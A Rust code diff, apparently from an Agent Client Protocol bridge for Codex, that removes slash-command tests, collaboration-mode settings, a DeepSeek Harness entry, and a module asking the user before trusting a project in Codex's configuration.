||||
Scenario::Compact => "simple",
|
||||
Scenario::PlanThenPrompt => "simple",
|
||||
Scenario::PlanToggleThenPrompt => "simple",
|
||||
Scenario::Interrupt => "interrupt",
|
||||
Scenario::Resume => "resume",
|
||||
Scenario::Steer => "steer",
|
||||
@@ -635,21 +598,6 @@ async fn drive(scenario: Scenario, acp: &Peer, client: &Client, cwd: &str, threa
|
||||
Scenario::AuthFailure | Scenario::Simple | Scenario::UsageLimit | Scenario::Subagent => {
|
||||
out.push(("prompt", request(acp, "session/prompt", prompt("Reply with the single word: hi")).await));
|
||||
}
|
||||
Scenario::Compact => {
|
||||
out.push(("prompt", request(acp, "session/prompt", prompt("/compact")).await));
|
||||
}
|
||||
Scenario::Command(command) => {
|
||||
out.push(("prompt", request(acp, "session/prompt", prompt(command)).await));
|
||||
}
|
||||
Scenario::PlanThenPrompt => {
|
||||
out.push(("plan", request(acp, "session/prompt", prompt("/plan")).await));
|
||||
out.push(("prompt", request(acp, "session/prompt", prompt("Reply with the single word: hi")).await));
|
||||
}
|
||||
Scenario::PlanToggleThenPrompt => {
|
||||
out.push(("plan", request(acp, "session/prompt", prompt("/plan")).await));
|
||||
out.push(("default", request(acp, "session/prompt", prompt("/plan")).await));
|
||||
out.push(("prompt", request(acp, "session/prompt", prompt("Reply with the single word: hi")).await));
|
||||
}
|
||||
Scenario::Interrupt => {
|
||||
out.push(("mode", request(acp, "session/set_config_option", set(MODE, "read-only")).await));
|
||||
let running = {
|
||||
@@ -717,37 +665,6 @@ fn load(name: &str) -> Transcript {
|
||||
Transcript { meta, frames }
|
||||
}
|
||||
|
||||
/// The simple fixture through session setup. Local commands add only the app-server calls
|
||||
/// they need after it; turn commands keep the fixture's turn notifications.
|
||||
fn command_transcript(calls: &[(&'static str, Value)]) -> Transcript {
|
||||
let mut transcript = load(Scenario::Simple.file());
|
||||
let prompt = transcript
|
||||
.frames
|
||||
.iter()
|
||||
.position(|(out, frame)| *out && frame["method"] == "turn/start")
|
||||
.expect("the scenario starts a turn");
|
||||
transcript.frames.truncate(prompt);
|
||||
transcript.frames.push((true, json!({ "id": 4, "method": "skills/list" })));
|
||||
transcript.frames.push((false, json!({ "id": 4, "result": { "data": [] } })));
|
||||
for (index, (method, result)) in calls.iter().enumerate() {
|
||||
let id = 10 + index;
|
||||
transcript.frames.push((true, json!({ "id": id, "method": method })));
|
||||
transcript.frames.push((false, json!({ "id": id, "result": result })));
|
||||
}
|
||||
transcript
|
||||
}
|
||||
|
||||
fn turn_command_transcript(method: &str) -> Transcript {
|
||||
let mut transcript = load(Scenario::Simple.file());
|
||||
let start = transcript
|
||||
.frames
|
||||
.iter_mut()
|
||||
.find(|(out, frame)| *out && frame["method"] == "turn/start")
|
||||
.expect("the scenario starts a turn");
|
||||
start.1["method"] = json!(method);
|
||||
transcript
|
||||
}
|
||||
|
||||
/// Plays codex: waits for each frame the shim should send, sends what codex sent.
|
||||
/// Returns the frames the shim sent.
|
||||
async fn play<R: AsyncRead + Unpin, W: AsyncWrite + Unpin>(
|
||||
@@ -767,10 +684,10 @@ async fn play<R: AsyncRead + Unpin, W: AsyncWrite + Unpin>(
|
||||
.unwrap()
|
||||
.unwrap_or_else(|| panic!("the shim closed before {frame}"));
|
||||
let actual: Value = serde_json::from_str(&line).unwrap();
|
||||
// Older recordings predate config inspection, skill discovery and thread naming; play an
|
||||
// Older recordings predate skill discovery and thread naming; play an
|
||||
// unsupported server.
|
||||
let method = actual["method"].as_str().unwrap_or_default();
|
||||
if matches!(method, "config/read" | "skills/list" | "thread/sample") && frame["method"] != method {
|
||||
if matches!(method, "skills/list" | "thread/sample") && frame["method"] != method {
|
||||
let reply = json!({ "id": actual["id"], "error": { "code": -32601, "message": "unsupported" } });
|
||||
write.write_all(format!("{reply}\n").as_bytes()).await.unwrap();
|
||||
continue;
|
||||
@@ -843,149 +760,6 @@ fn session_of(results: &Results, label: &str) -> String {
|
||||
result(results, label).as_ref().unwrap()["sessionId"].as_str().unwrap().to_owned()
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn configuration_warnings_before_a_session_and_runtime_warnings_reach_the_client() {
|
||||
let mut transcript = load(Scenario::Simple.file());
|
||||
transcript.frames.insert(
|
||||
0,
|
||||
(
|
||||
false,
|
||||
json!({"method": "configWarning", "params": {
|
||||
"summary": "Project-local config is disabled until the project is trusted.",
|
||||
"details": "Update the project's trust setting.", "path": "/work/.codex/config.toml"
|
||||
}}),
|
||||
),
|
||||
);
|
||||
let at = transcript.frames.iter().position(|(out, f)| *out && f["method"] == "turn/start").unwrap();
|
||||
transcript
|
||||
.frames
|
||||
.insert(at, (false, json!({"method": "warning", "params": {"message": "MCP server unavailable"}})));
|
||||
let (results, client, frames, _, _codex) = replay_transcript(Scenario::Simple, transcript).await;
|
||||
assert!(result(&results, "new").is_ok());
|
||||
assert_eq!(
|
||||
*client.warnings.lock(),
|
||||
[
|
||||
json!({"message": "Project-local config is disabled until the project is trusted.\n\nUpdate the project's trust setting.\n\n/work/.codex/config.toml"}),
|
||||
json!({"message": "MCP server unavailable"}),
|
||||
]
|
||||
);
|
||||
assert!(sent(&frames, "config/value/write").is_empty());
|
||||
assert!(sent(&frames, "config/batchWrite").is_empty());
|
||||
}
|
||||
|
||||
struct TrustServer {
|
||||
cwd: String,
|
||||
disabled: bool,
|
||||
other_project: bool,
|
||||
write_error: bool,
|
||||
overridden: bool,
|
||||
calls: Mutex<Vec<(String, Value)>>,
|
||||
}
|
||||
|
||||
impl Handler for TrustServer {
|
||||
fn on_notification(&self, _: &str, _: Value) {}
|
||||
|
||||
fn on_request(&self, method: &str, params: Value) -> Result<Value, (i64, String)> {
|
||||
self.calls.lock().push((method.to_owned(), params));
|
||||
match method {
|
||||
"initialize" => Ok(json!({})),
|
||||
"model/list" => Ok(json!({"data": []})),
|
||||
"config/read" => {
|
||||
let cwd =
|
||||
if self.other_project { Path::new(&self.cwd).join("other") } else { PathBuf::from(&self.cwd) };
|
||||
Ok(json!({"layers": [
|
||||
{"name": {"type": "user", "profile": null}, "version": "original"},
|
||||
{"name": {"type": "project", "dotCodexFolder": cwd.join(".codex")},
|
||||
"disabledReason": self.disabled.then_some("Project config is disabled until trusted.")}
|
||||
]}))
|
||||
}
|
||||
"config/value/write" if self.write_error => Err((-32001, "Config changed concurrently".into())),
|
||||
"config/value/write" => Ok(json!({"status": if self.overridden {"okOverridden"} else {"ok"}})),
|
||||
"thread/start" | "thread/resume" | "thread/fork" => {
|
||||
Ok(json!({"thread": {"id": "s", "turns": []}, "cwd": self.cwd}))
|
||||
}
|
||||
"skills/list" => Ok(json!({"data": []})),
|
||||
_ => Err((codes::METHOD_NOT_FOUND, method.to_owned())),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn project_trust_is_confirmed_before_new_resumed_and_forked_sessions() {
|
||||
for method in ["session/new", "session/load", "session/fork"] {
|
||||
for (answer, disabled, other_project, write_error, overridden) in [
|
||||
(Some("codex-trust-project"), true, false, false, false),
|
||||
(Some("codex-keep-untrusted"), true, false, false, false),
|
||||
(None, true, false, false, false),
|
||||
(Some("codex-trust-project"), false, false, false, false),
|
||||
(Some("codex-trust-project"), true, true, false, false),
|
||||
(Some("codex-trust-project"), true, false, true, false),
|
||||
(Some("codex-trust-project"), true, false, false, true),
|
||||
] {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let cwd = tmp.path().join("project.with.dots-项目").to_string_lossy().into_owned();
|
||||
let server = Arc::new(TrustServer {
|
||||
cwd: cwd.clone(),
|
||||
disabled,
|
||||
other_project,
|
||||
write_error,
|
||||
overridden,
|
||||
calls: Mutex::default(),
|
||||
});
|
||||
let client = Arc::new(Client::default());
|
||||
client.answers.lock().push_back(answer);
|
||||
let (ours, theirs) = tokio::io::duplex(1 << 16);
|
||||
let (read, write) = tokio::io::split(theirs);
|
||||
let native = Peer::connect_framed(read, write, server.clone(), Framing::Lines);
|
||||
let acp = attach(client.clone(), |events| {
|
||||
let (read, write) = tokio::io::split(ours);
|
||||
Ok(Peer::connect_framed(read, write, events, Framing::Lines))
|
||||
})
|
||||
.unwrap();
|
||||
request(&acp, "initialize", json!({})).await.unwrap();
|
||||
let params = json!({"cwd": cwd, "sessionId": "source", "mcpServers": []});
|
||||
request(&acp, method, params.clone()).await.unwrap();
|
||||
// The same connection must not ask repeatedly after a decline.
|
||||
request(&acp, method, params).await.unwrap();
|
||||
let approved = answer == Some("codex-trust-project") && disabled && !other_project;
|
||||
{
|
||||
let asked = client.asked.lock();
|
||||
assert_eq!(asked.len(), usize::from(disabled && !other_project));
|
||||
if let Some(permission) = asked.first() {
|
||||
assert!(permission["toolCall"]["title"].as_str().unwrap().contains(&cwd));
|
||||
assert_eq!(
|
||||
permission["toolCall"]["kind"], "edit",
|
||||
"side conversations must deny persistent trust changes"
|
||||
);
|
||||
assert_eq!(
|
||||
permission["options"][0]["kind"], "allow_always",
|
||||
"task bypass must not grant permanent trust"
|
||||
);
|
||||
}
|
||||
let calls = server.calls.lock();
|
||||
let writes: Vec<_> = calls.iter().filter(|(m, _)| m == "config/value/write").collect();
|
||||
assert_eq!(writes.len(), usize::from(approved));
|
||||
if let Some((_, write)) = writes.first() {
|
||||
assert_eq!(
|
||||
*write,
|
||||
json!({"keyPath": format!("projects.{}.trust_level", json!(cwd)), "value": "trusted", "mergeStrategy": "replace", "expectedVersion": "original"})
|
||||
);
|
||||
let written = calls.iter().position(|(m, _)| m == "config/value/write").unwrap();
|
||||
let started = calls.iter().position(|(m, _)| m.starts_with("thread/")).unwrap();
|
||||
assert!(written < started, "the session must load config after the write");
|
||||
}
|
||||
}
|
||||
// Drain notifications sent before the last response.
|
||||
tokio::time::sleep(Duration::from_millis(20)).await;
|
||||
if approved && (write_error || overridden) {
|
||||
assert!(!client.warnings.lock().is_empty());
|
||||
}
|
||||
acp.kill();
|
||||
native.kill();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn auth_failure_names_auth() {
|
||||
let (results, _client, frames, _) = replay(Scenario::AuthFailure).await;
|
||||
@@ -997,7 +771,7 @@ async fn auth_failure_names_auth() {
|
||||
let categories: Vec<&str> =
|
||||
new["configOptions"].as_array().unwrap().iter().map(|o| o["category"].as_str().unwrap()).collect();
|
||||
// The model the user's codex config names; codex doesn't list it, so its efforts are unknown.
|
||||
assert_eq!(categories, ["model", "mode", "collaboration_mode"]);
|
||||
assert_eq!(categories, ["model", "mode"]);
|
||||
let model = new["configOptions"][0]["currentValue"].as_str().unwrap();
|
||||
assert_eq!(model, "gpt-6-luna");
|
||||
assert!(new["configOptions"][0]["options"].as_array().unwrap().iter().any(|o| o["value"] == model));
|
||||
@@ -1237,7 +1011,6 @@ async fn settings_apply_to_the_next_turn() {
|
||||
(starts[0]["params"]["model"].as_str(), starts[0]["params"]["effort"].as_str()),
|
||||
(Some("gpt-5.6-luna"), Some("medium"))
|
||||
);
|
||||
assert!(starts[0]["params"].get("collaborationMode").is_none());
|
||||
assert_eq!(
|
||||
(starts[1]["params"]["model"].as_str(), starts[1]["params"]["effort"].as_str()),
|
||||
(Some("gpt-5.5"), Some("high"))
|
||||
@@ -1246,192 +1019,6 @@ async fn settings_apply_to_the_next_turn() {
|
||||
assert_eq!(client.text(&session, "agent_message_chunk"), "oneOn it.\n\ntwo");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn compact_is_started_through_its_app_server_method() {
|
||||
// Play the ordinary-turn fixture with the request swapped: the notifications are the
|
||||
// same, while this pins the user-visible command to `thread/compact/start`, not a prompt.
|
||||
let mut transcript = load(Scenario::Simple.file());
|
||||
let start = transcript
|
||||
.frames
|
||||
.iter_mut()
|
||||
.find(|(out, frame)| *out && frame["method"] == "turn/start")
|
||||
.expect("the scenario starts a turn");
|
||||
start.1["method"] = json!("thread/compact/start");
|
||||
let (results, _client, frames, _meta, _codex) = replay_transcript(Scenario::Compact, transcript).await;
|
||||
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({"stopReason": "end_turn"}));
|
||||
assert!(sent(&frames, "turn/start").is_empty());
|
||||
assert_eq!(sent(&frames, "thread/compact/start").len(), 1);
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn review_commands_start_the_matching_review_target() {
|
||||
for (prompt, target) in [
|
||||
("/review", json!({ "type": "uncommittedChanges" })),
|
||||
("/review focus on errors", json!({ "type": "custom", "instructions": "focus on errors" })),
|
||||
("/review-branch origin/main", json!({ "type": "baseBranch", "branch": "origin/main" })),
|
||||
("/review-commit abc123", json!({ "type": "commit", "sha": "abc123", "title": null })),
|
||||
] {
|
||||
let (results, _client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command(prompt), turn_command_transcript("review/start")).await;
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }), "{prompt}");
|
||||
assert!(sent(&frames, "turn/start").is_empty(), "{prompt}");
|
||||
assert_eq!(sent(&frames, "review/start")[0]["params"]["target"], target, "{prompt}");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn plan_toggles_collaboration_mode_and_updates_the_composer() {
|
||||
let (results, client, _frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command("/plan"), command_transcript(&[])).await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
let update = client.of(&session).into_iter().find(|u| u["sessionUpdate"] == "config_option_update").unwrap();
|
||||
let plan =
|
||||
update["configOptions"].as_array().unwrap().iter().find(|o| o["category"] == "collaboration_mode").unwrap();
|
||||
assert_eq!(plan["currentValue"], "plan");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn plan_applies_to_the_next_normal_turn() {
|
||||
let (results, _client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::PlanThenPrompt, load(Scenario::Simple.file())).await;
|
||||
assert_eq!(result(&results, "plan").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
let start = sent(&frames, "turn/start")[0];
|
||||
assert_eq!(start["params"]["collaborationMode"]["mode"], "plan");
|
||||
assert_eq!(start["params"]["collaborationMode"]["settings"]["model"], "gpt-5.6-luna");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn toggling_plan_off_sends_an_explicit_default_once() {
|
||||
let (results, _client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::PlanToggleThenPrompt, load(Scenario::Simple.file())).await;
|
||||
assert_eq!(result(&results, "default").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
let start = sent(&frames, "turn/start")[0];
|
||||
assert_eq!(start["params"]["collaborationMode"]["mode"], "default");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn informational_commands_report_skills_mcp_and_status() {
|
||||
let skills = json!({ "data": [{ "skills": [
|
||||
{ "name": "review", "enabled": true, "description": "Review changes" },
|
||||
{ "name": "hidden", "enabled": false, "description": "Hidden" }
|
||||
] }] });
|
||||
let servers = json!({ "data": [
|
||||
{ "name": "github", "runtimeStatus": "connected", "authStatus": "oAuth", "tools": { "search": {} } },
|
||||
{ "name": "docs", "runtimeStatus": "failed", "authStatus": "unknown", "tools": {} }
|
||||
] });
|
||||
for (prompt, method, response, expected) in [
|
||||
("/skills", "skills/list", skills, "Available skills:\n- review: Review changes"),
|
||||
(
|
||||
"/mcp",
|
||||
"mcpServerStatus/list",
|
||||
servers,
|
||||
"MCP servers:\n- github: connected, 1 tools\n- docs: failed, 0 tools",
|
||||
),
|
||||
("/status", "", Value::Null, "**Session:**"),
|
||||
] {
|
||||
let calls: &[(&str, Value)] = if method.is_empty() { &[] } else { &[(method, response)] };
|
||||
let calls: Vec<(&'static str, Value)> = calls
|
||||
.iter()
|
||||
.map(|(method, response)| {
|
||||
let method = match *method {
|
||||
"skills/list" => "skills/list",
|
||||
"mcpServerStatus/list" => "mcpServerStatus/list",
|
||||
other => panic!("unexpected method {other}"),
|
||||
};
|
||||
(method, response.clone())
|
||||
})
|
||||
.collect();
|
||||
let (results, client, _frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command(prompt), command_transcript(&calls)).await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
assert!(client.text(&session, "agent_message_chunk").contains(expected), "{prompt}");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn rename_and_logout_use_their_app_server_actions() {
|
||||
let (results, client, frames, _meta, _codex) = replay_transcript(
|
||||
Scenario::Command("/rename Better name"),
|
||||
command_transcript(&[("thread/name/set", json!({}))]),
|
||||
)
|
||||
.await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(sent(&frames, "thread/name/set")[0]["params"], json!({ "threadId": session, "name": "Better name" }));
|
||||
let info = client.of(&session).into_iter().find(|u| u["sessionUpdate"] == "session_info_update").unwrap();
|
||||
assert_eq!((info["title"].as_str(), info["userNamed"].as_bool()), (Some("Better name"), Some(true)));
|
||||
|
||||
let (results, client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command("/logout"), command_transcript(&[("account/logout", json!({}))])).await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(sent(&frames, "account/logout").len(), 1);
|
||||
assert_eq!(client.text(&session, "agent_message_chunk"), "Logged out from Codex account.");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn goal_commands_set_pause_resume_and_clear_through_app_server() {
|
||||
for (prompt, method, params, result) in [
|
||||
(
|
||||
"/goal fix the failing tests",
|
||||
"thread/goal/set",
|
||||
json!({ "threadId": "s", "objective": "fix the failing tests", "status": "active", "origin": "user" }),
|
||||
json!({ "goal": { "status": "active" } }),
|
||||
),
|
||||
(
|
||||
"/goal pause",
|
||||
"thread/goal/set",
|
||||
json!({ "threadId": "s", "status": "paused", "origin": "user" }),
|
||||
json!({ "goal": { "status": "paused" } }),
|
||||
),
|
||||
(
|
||||
"/goal resume",
|
||||
"thread/goal/set",
|
||||
json!({ "threadId": "s", "status": "active", "origin": "user" }),
|
||||
json!({ "goal": { "status": "active" } }),
|
||||
),
|
||||
("/goal clear", "thread/goal/clear", json!({ "threadId": "s" }), json!({ "cleared": true })),
|
||||
] {
|
||||
let (results, _client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command(prompt), command_transcript(&[(method, result)])).await;
|
||||
let session = session_of(&results, "new");
|
||||
let sent = sent(&frames, method);
|
||||
assert_eq!(sent.len(), 1, "{prompt}");
|
||||
let mut expected = params;
|
||||
expected["threadId"] = json!(session);
|
||||
assert_eq!(sent[0]["params"], expected, "{prompt}");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn missing_review_arguments_print_usage_without_starting_a_turn() {
|
||||
for prompt in ["/review-branch", "/review-commit", "/rename", "/goal"] {
|
||||
let (results, client, frames, _meta, _codex) =
|
||||
replay_transcript(Scenario::Command(prompt), command_transcript(&[])).await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(result(&results, "prompt").as_ref().unwrap(), &json!({ "stopReason": "end_turn" }));
|
||||
assert!(sent(&frames, "turn/start").is_empty());
|
||||
assert!(client.text(&session, "agent_message_chunk").starts_with("Command \""), "{prompt}");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn mcp_reconnect_reloads_before_reporting_status() {
|
||||
let servers =
|
||||
json!({ "data": [{ "name": "github", "runtimeStatus": "connected", "authStatus": "oAuth", "tools": {} }] });
|
||||
let (results, client, frames, _meta, _codex) = replay_transcript(
|
||||
Scenario::Command("/mcp reconnect"),
|
||||
command_transcript(&[("config/mcpServer/reload", json!({})), ("mcpServerStatus/list", servers)]),
|
||||
)
|
||||
.await;
|
||||
let session = session_of(&results, "new");
|
||||
assert_eq!(sent(&frames, "config/mcpServer/reload").len(), 1);
|
||||
assert_eq!(sent(&frames, "mcpServerStatus/list").len(), 1);
|
||||
assert!(client.text(&session, "agent_message_chunk").contains("github: connected"));
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn approvals_are_asked_and_answered() {
|
||||
let (results, client, frames, _) = replay(Scenario::Approvals).await;
|
||||
|
||||
@@ -138,12 +138,6 @@ pub(super) struct Settings {
|
||||
pub model: String,
|
||||
pub effort: Option<String>,
|
||||
pub mode: Mode,
|
||||
/// Codex's Default/Plan collaboration mode. It is sent with each turn because it is
|
||||
/// part of the turn contract rather than the sandbox permission mode above.
|
||||
pub collaboration_mode: String,
|
||||
/// A mode just chosen by the user, sent once even when it is Default so a resumed Plan
|
||||
/// thread is explicitly reset. Subsequent default turns can omit the field again.
|
||||
pub collaboration_mode_override: Option<String>,
|
||||
}
|
||||
|
||||
impl Settings {
|
||||
@@ -162,12 +156,6 @@ impl Settings {
|
||||
result.get("approvalPolicy").unwrap_or(&Value::Null),
|
||||
result.get("sandbox").unwrap_or(&Value::Null),
|
||||
),
|
||||
collaboration_mode: result
|
||||
.pointer("/collaborationMode/mode")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or(DEFAULT_COLLABORATION_MODE)
|
||||
.to_owned(),
|
||||
collaboration_mode_override: None,
|
||||
};
|
||||
s.fit_effort(models);
|
||||
s
|
||||
@@ -206,13 +194,6 @@ impl Settings {
|
||||
self.effort = Some(value.to_owned());
|
||||
}
|
||||
MODE => self.mode = Mode::parse(value).ok_or_else(|| format!("unknown mode {value}"))?,
|
||||
COLLABORATION_MODE => {
|
||||
if !matches!(value, DEFAULT_COLLABORATION_MODE | PLAN_COLLABORATION_MODE) {
|
||||
return Err(format!("unknown collaboration mode {value}"));
|
||||
}
|
||||
self.collaboration_mode = value.to_owned();
|
||||
self.collaboration_mode_override = Some(value.to_owned());
|
||||
}
|
||||
_ => return Err(format!("unknown setting {option}")),
|
||||
}
|
||||
Ok(())
|
||||
@@ -222,9 +203,6 @@ impl Settings {
|
||||
pub(super) const MODEL: &str = "model";
|
||||
pub(super) const EFFORT: &str = "reasoning_effort";
|
||||
pub(super) const MODE: &str = "mode";
|
||||
pub(super) const COLLABORATION_MODE: &str = "collaboration_mode";
|
||||
pub(super) const DEFAULT_COLLABORATION_MODE: &str = "default";
|
||||
pub(super) const PLAN_COLLABORATION_MODE: &str = "plan";
|
||||
|
||||
/// ACP `configOptions`: model, reasoning effort (for models that have it) and mode.
|
||||
pub(super) fn config_options(models: &[ModelInfo], s: &Settings) -> Value {
|
||||
@@ -257,32 +235,9 @@ pub(super) fn config_options(models: &[ModelInfo], s: &Settings) -> Value {
|
||||
"id": MODE, "name": "Mode", "category": "mode", "type": "select", "currentValue": s.mode.id(),
|
||||
"options": Mode::ALL.iter().map(|m| select_value(m.id(), m.name(), Some(m.description()))).collect::<Vec<_>>(),
|
||||
}));
|
||||
out.push(json!({
|
||||
"id": COLLABORATION_MODE,
|
||||
"name": "Collaboration mode",
|
||||
"category": "collaboration_mode",
|
||||
"type": "select",
|
||||
"currentValue": s.collaboration_mode,
|
||||
"options": [
|
||||
select_value(DEFAULT_COLLABORATION_MODE, "Default", Some("Execute changes directly")),
|
||||
select_value(PLAN_COLLABORATION_MODE, "Plan", Some("Plan before making changes")),
|
||||
],
|
||||
}));
|
||||
Value::Array(out)
|
||||
}
|
||||
|
||||
/// `turn/start.collaborationMode`: the preset plus the selected model settings.
|
||||
pub(super) fn collaboration_mode(settings: &Settings, models: &[ModelInfo]) -> Value {
|
||||
json!({
|
||||
"mode": settings.collaboration_mode_override.as_deref().unwrap_or(&settings.collaboration_mode),
|
||||
"settings": {
|
||||
"model": settings.model_slug(models),
|
||||
"reasoning_effort": settings.effort,
|
||||
"developer_instructions": null,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
fn select_value(value: &str, name: &str, description: Option<&str>) -> Value {
|
||||
let mut v = json!({ "value": value, "name": name });
|
||||
if let Some(d) = description {
|
||||
|
||||
@@ -1,93 +0,0 @@
|
||||
//! A project trusted by the IDE may still be untrusted by Codex. Ask before changing
|
||||
//! Codex's own decision; only its config API writes the current project's trust entry.
|
||||
|
||||
use super::*;
|
||||
|
||||
fn disabled_project<'a>(config: &'a Value, cwd: &str) -> Option<&'a Value> {
|
||||
let folder = Path::new(cwd).join(".codex");
|
||||
config.get("layers")?.as_array()?.iter().find(|layer| {
|
||||
layer.pointer("/name/type").and_then(Value::as_str) == Some("project")
|
||||
&& layer
|
||||
.pointer("/name/dotCodexFolder")
|
||||
.and_then(Value::as_str)
|
||||
.is_some_and(|path| Path::new(path) == folder)
|
||||
&& layer.get("disabledReason").and_then(Value::as_str).is_some_and(|reason| !reason.trim().is_empty())
|
||||
})
|
||||
}
|
||||
|
||||
impl CodexShim {
|
||||
pub(super) async fn prepare_project_trust(&self, params: &Value) {
|
||||
let Some(cwd) = params.get("cwd").and_then(Value::as_str) else { return };
|
||||
if !self.state.lock().trust_checked.insert(cwd.to_owned()) {
|
||||
return;
|
||||
}
|
||||
// Old app-servers may not expose config layers. Their warnings still reach the UI.
|
||||
let Ok(Ok(config)) = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
self.call("config/read", json!({ "cwd": cwd, "includeLayers": true })),
|
||||
)
|
||||
.await
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let Some(layer) = disabled_project(&config, cwd) else { return };
|
||||
let Some(client) = self.client.get() else { return };
|
||||
let title = format!(
|
||||
"Trust project in Codex: {cwd}? This saves trust in your Codex user configuration and allows \
|
||||
this project's MCP servers, hooks and exec policies to load."
|
||||
);
|
||||
let permission = json!({
|
||||
"sessionId": params.get("sessionId").and_then(Value::as_str).unwrap_or_default(),
|
||||
"toolCall": {
|
||||
"toolCallId": format!("codex-project-trust:{cwd}"),
|
||||
"title": title, "kind": "edit",
|
||||
"rawInput": { "project": cwd },
|
||||
},
|
||||
"options": [
|
||||
// Permanent trust must never be auto-approved by the task's allow-once bypass.
|
||||
{ "optionId": "codex-trust-project", "name": "Trust Project in Codex", "kind": "allow_always" },
|
||||
{ "optionId": "codex-keep-untrusted", "name": "Keep Untrusted", "kind": "reject_once" },
|
||||
],
|
||||
});
|
||||
let answer: Result<Value, RpcError> = client.request("session/request_permission", permission, None).await;
|
||||
let approved = answer.as_ref().is_ok_and(|answer| {
|
||||
answer.pointer("/outcome/outcome").and_then(Value::as_str) == Some("selected")
|
||||
&& answer.pointer("/outcome/optionId").and_then(Value::as_str) == Some("codex-trust-project")
|
||||
});
|
||||
if !approved {
|
||||
if let Some(reason) = layer.get("disabledReason").and_then(Value::as_str) {
|
||||
self.warning(reason);
|
||||
}
|
||||
return;
|
||||
}
|
||||
// Quote the path as one key segment: dots and Windows backslashes are literal.
|
||||
let mut write = json!({
|
||||
"keyPath": format!("projects.{}.trust_level", json!(cwd)),
|
||||
"value": "trusted", "mergeStrategy": "replace",
|
||||
});
|
||||
if let Some(version) = config["layers"]
|
||||
.as_array()
|
||||
.and_then(|layers| {
|
||||
layers.iter().find(|layer| {
|
||||
layer.pointer("/name/type").and_then(Value::as_str) == Some("user")
|
||||
&& layer.pointer("/name/profile").is_none_or(Value::is_null)
|
||||
})
|
||||
})
|
||||
.and_then(|layer| layer.get("version"))
|
||||
.filter(|version| version.is_string())
|
||||
{
|
||||
write["expectedVersion"] = version.clone();
|
||||
}
|
||||
match self.call("config/value/write", write).await {
|
||||
Err(error) => self.warning(format!("Codex could not save trust for {cwd}: {}", error.message)),
|
||||
Ok(reply) if reply["status"] == "okOverridden" => {
|
||||
self.warning(format!(
|
||||
"Codex saved trust for {cwd}, but a higher-priority configuration overrides it. \
|
||||
Project configuration may remain disabled; check the Codex configuration or contact your administrator."
|
||||
));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
// start/resume/fork now load the updated config before creating the thread.
|
||||
}
|
||||
}
|
||||
@@ -56,13 +56,6 @@ const BUILTIN: &[(&str, &str, Driver, &[&str], &str)] = &[
|
||||
&["npx", "-y", "@agentclientprotocol/[email protected]"],
|
||||
"Run `codex login` in a terminal.",
|
||||
),
|
||||
(
|
||||
"deepseek-harness",
|
||||
"DeepSeek Harness",
|
||||
Driver::Acp,
|
||||
&["dsh", "--profile", "acp"],
|
||||
"Run `dsh` in a terminal and sign in.",
|
||||
),
|
||||
("gemini", "Gemini CLI", Driver::Acp, &["gemini", "--experimental-acp"], "Run `gemini` in a terminal and sign in."),
|
||||
(
|
||||
"copilot",
|
||||
|
||||
@@ -909,23 +909,8 @@ async fn commands_are_remembered_per_project_and_merged_with_skills_on_disk() {
|
||||
wait_for(&mgr_a, &task.id, AgentStatus::NeedsInput).await;
|
||||
assert_eq!(names(mgr_a.commands("claude", None).await.unwrap()), ["review", "triage"]);
|
||||
assert_eq!(names(mgr_a.commands("claude", Some(&task.id)).await.unwrap()), ["review", "triage"]);
|
||||
// Other agents get only what they offered, plus verified native builtins.
|
||||
assert_eq!(
|
||||
names(mgr_a.commands("codex", None).await.unwrap()),
|
||||
[
|
||||
"plan",
|
||||
"mcp",
|
||||
"skills",
|
||||
"status",
|
||||
"review",
|
||||
"review-branch",
|
||||
"review-commit",
|
||||
"compact",
|
||||
"goal",
|
||||
"rename",
|
||||
